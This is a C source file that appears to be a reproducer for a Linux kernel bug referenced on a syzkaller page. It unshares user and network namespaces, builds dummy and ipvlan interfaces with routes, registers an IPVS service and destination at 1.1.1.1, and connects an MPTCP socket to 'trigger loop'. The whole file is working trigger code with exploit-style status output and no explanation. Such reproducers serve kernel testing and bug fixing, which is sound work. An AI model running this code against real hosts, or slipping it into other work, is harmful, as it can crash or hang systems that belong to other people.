// https://syzkaller.appspot.com/bug?id=d90840ef51209e41600303204ae9de621284cf2a #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define IP_VS_BASE_CTL (64+1024+64) #define IP_VS_SO_SET_ADD (IP_VS_BASE_CTL+2) #define IP_VS_SO_SET_ADDDEST (IP_VS_BASE_CTL+7) struct ip_vs_service_user { uint16_t protocol; uint32_t addr; uint16_t port; uint32_t fwmark; char sched_name[16]; unsigned flags; unsigned timeout; uint32_t netmask; }; struct ip_vs_dest_user { uint32_t addr; uint16_t port; unsigned conn_flags; int weight; uint32_t u_threshold; uint32_t l_threshold; }; struct ip_vs_svcdest_user { struct ip_vs_service_user s; struct ip_vs_dest_user d; }; void addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) { int len = RTA_LENGTH(alen); struct rtattr *rta; if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { fprintf(stderr, "addattr_l ERROR\n"); exit(1); } rta = (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); rta->rta_type = type; rta->rta_len = len; if (alen) memcpy(RTA_DATA(rta), data, alen); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); } struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) { struct rtattr *nest = (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); addattr_l(n, maxlen, type, NULL, 0); return nest; } void addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) { nest->rta_len = (void *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)) - (void *)nest; } int send_nl_req(struct nlmsghdr *nlh) { int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) return -1; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } struct iovec iov = { nlh, nlh->nlmsg_len }; struct msghdr msg = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 }; if (sendmsg(fd, &msg, 0) < 0) { close(fd); return -1; } char buf[4096]; struct iovec riov = { buf, sizeof(buf) }; struct msghdr rmsg = { &sa, sizeof(sa), &riov, 1, NULL, 0, 0 }; int len = recvmsg(fd, &rmsg, 0); close(fd); if (len < 0) return -1; struct nlmsghdr *rnlh = (struct nlmsghdr *)buf; if (rnlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(rnlh); if (err->error == 0) return 0; errno = -err->error; return -1; } return 0; } int create_link(const char *name, const char *type, int link_idx, uint16_t mode) { struct { struct nlmsghdr nlh; struct ifinfomsg ifi; char attrbuf[1024]; } req; memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.nlh.nlmsg_type = RTM_NEWLINK; req.ifi.ifi_family = AF_UNSPEC; addattr_l(&req.nlh, sizeof(req), IFLA_IFNAME, name, strlen(name) + 1); if (link_idx) { addattr_l(&req.nlh, sizeof(req), IFLA_LINK, &link_idx, sizeof(link_idx)); } struct rtattr *linkinfo = addattr_nest(&req.nlh, sizeof(req), IFLA_LINKINFO); addattr_l(&req.nlh, sizeof(req), IFLA_INFO_KIND, type, strlen(type) + 1); if (strcmp(type, "ipvlan") == 0) { struct rtattr *data = addattr_nest(&req.nlh, sizeof(req), IFLA_INFO_DATA); addattr_l(&req.nlh, sizeof(req), 1 /* IFLA_IPVLAN_MODE */, &mode, sizeof(mode)); addattr_nest_end(&req.nlh, data); } addattr_nest_end(&req.nlh, linkinfo); return send_nl_req(&req.nlh); } int set_link_up(const char *name) { int fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) return -1; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, name, IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) { close(fd); return -1; } ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) { close(fd); return -1; } close(fd); return 0; } int add_ip(const char *dev, const char *ip, int prefixlen) { int ifindex = if_nametoindex(dev); if (ifindex == 0) return -1; struct { struct nlmsghdr nlh; struct ifaddrmsg ifa; char attrbuf[256]; } req; memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifaddrmsg)); req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.nlh.nlmsg_type = RTM_NEWADDR; req.ifa.ifa_family = AF_INET; req.ifa.ifa_prefixlen = prefixlen; req.ifa.ifa_flags = IFA_F_PERMANENT; req.ifa.ifa_scope = RT_SCOPE_UNIVERSE; req.ifa.ifa_index = ifindex; uint32_t addr = inet_addr(ip); addattr_l(&req.nlh, sizeof(req), IFA_LOCAL, &addr, 4); addattr_l(&req.nlh, sizeof(req), IFA_ADDRESS, &addr, 4); return send_nl_req(&req.nlh); } int add_route_nl(const char *dst, int prefixlen, int ifindex) { struct { struct nlmsghdr nlh; struct rtmsg rtm; char attrbuf[256]; } req; memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.nlh.nlmsg_type = RTM_NEWROUTE; req.rtm.rtm_family = AF_INET; req.rtm.rtm_dst_len = prefixlen; req.rtm.rtm_table = RT_TABLE_MAIN; req.rtm.rtm_protocol = RTPROT_BOOT; req.rtm.rtm_scope = RT_SCOPE_UNIVERSE; req.rtm.rtm_type = RTN_UNICAST; if (prefixlen > 0) { uint32_t daddr = inet_addr(dst); addattr_l(&req.nlh, sizeof(req), RTA_DST, &daddr, 4); } addattr_l(&req.nlh, sizeof(req), RTA_OIF, &ifindex, 4); return send_nl_req(&req.nlh); } int main(void) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { printf("[-] unshare failed: %s\n", strerror(errno)); return 1; } printf("[+] unshare successful.\n"); if (set_link_up("lo") < 0) { printf("[-] set_link_up lo failed: %s\n", strerror(errno)); return 1; } printf("[+] lo up.\n"); if (create_link("dummy0", "dummy", 0, 0) < 0) { printf("[-] create_link dummy0 failed: %s\n", strerror(errno)); return 1; } printf("[+] dummy0 created.\n"); if (set_link_up("dummy0") < 0) { printf("[-] set_link_up dummy0 failed: %s\n", strerror(errno)); return 1; } printf("[+] dummy0 up.\n"); int dummy_idx = if_nametoindex("dummy0"); if (dummy_idx == 0) { printf("[-] if_nametoindex dummy0 failed: %s\n", strerror(errno)); return 1; } if (create_link("ipv1", "ipvlan", dummy_idx, 1 /* L3 */) < 0) { printf("[-] create_link ipv1 failed: %s\n", strerror(errno)); return 1; } printf("[+] ipv1 created.\n"); if (set_link_up("ipv1") < 0) { printf("[-] set_link_up ipv1 failed: %s\n", strerror(errno)); return 1; } printf("[+] ipv1 up.\n"); if (add_ip("dummy0", "10.0.0.1", 24) < 0) { printf("[-] add_ip dummy0 failed: %s\n", strerror(errno)); } else { printf("[+] dummy0 IP added.\n"); } if (add_ip("ipv1", "10.0.0.2", 24) < 0) { printf("[-] add_ip ipv1 failed: %s\n", strerror(errno)); } else { printf("[+] ipv1 IP added.\n"); } if (add_route_nl("0.0.0.0", 0, dummy_idx) < 0) { if (errno != EEXIST) { printf("[-] add_route_nl default failed: %s\n", strerror(errno)); return 1; } } printf("[+] default route added.\n"); int ipv1_idx = if_nametoindex("ipv1"); if (add_route_nl("1.1.1.1", 32, ipv1_idx) < 0) { if (errno != EEXIST) { printf("[-] add_route_nl 1.1.1.1 failed: %s\n", strerror(errno)); return 1; } } printf("[+] specific route added.\n"); int ipvs_fd = socket(AF_INET, SOCK_DGRAM, 0); if (ipvs_fd < 0) { printf("[-] ipvs_fd socket failed: %s\n", strerror(errno)); return 1; } struct ip_vs_service_user svc; memset(&svc, 0, sizeof(svc)); svc.protocol = IPPROTO_TCP; svc.addr = inet_addr("1.1.1.1"); svc.port = htons(80); svc.netmask = 0xffffffff; strcpy(svc.sched_name, "rr"); if (setsockopt(ipvs_fd, IPPROTO_IP, IP_VS_SO_SET_ADD, &svc, sizeof(svc)) < 0) { printf("[-] setsockopt IP_VS_SO_SET_ADD failed: %s\n", strerror(errno)); } else { printf("[+] IPVS service added.\n"); } struct ip_vs_svcdest_user req; memset(&req, 0, sizeof(req)); req.s = svc; req.d.addr = inet_addr("1.1.1.1"); req.d.port = htons(80); req.d.conn_flags = 0; // NAT mode req.d.weight = 1; if (setsockopt(ipvs_fd, IPPROTO_IP, IP_VS_SO_SET_ADDDEST, &req, sizeof(req)) < 0) { printf("[-] setsockopt IP_VS_SO_SET_ADDDEST failed: %s\n", strerror(errno)); } else { printf("[+] IPVS dest added.\n"); } close(ipvs_fd); int fd = socket(AF_INET, SOCK_STREAM, 262 /* IPPROTO_MPTCP */); if (fd < 0) { printf("[-] socket MPTCP failed: %s, falling back to TCP\n", strerror(errno)); fd = socket(AF_INET, SOCK_STREAM, 0); } if (fd < 0) { printf("[-] socket failed: %s\n", strerror(errno)); return 1; } printf("[+] socket created.\n"); struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(80); addr.sin_addr.s_addr = inet_addr("1.1.1.1"); printf("[*] Connecting to trigger loop...\n"); connect(fd, (struct sockaddr *)&addr, sizeof(addr)); printf("[+] connect returned.\n"); sleep(1); return 0; }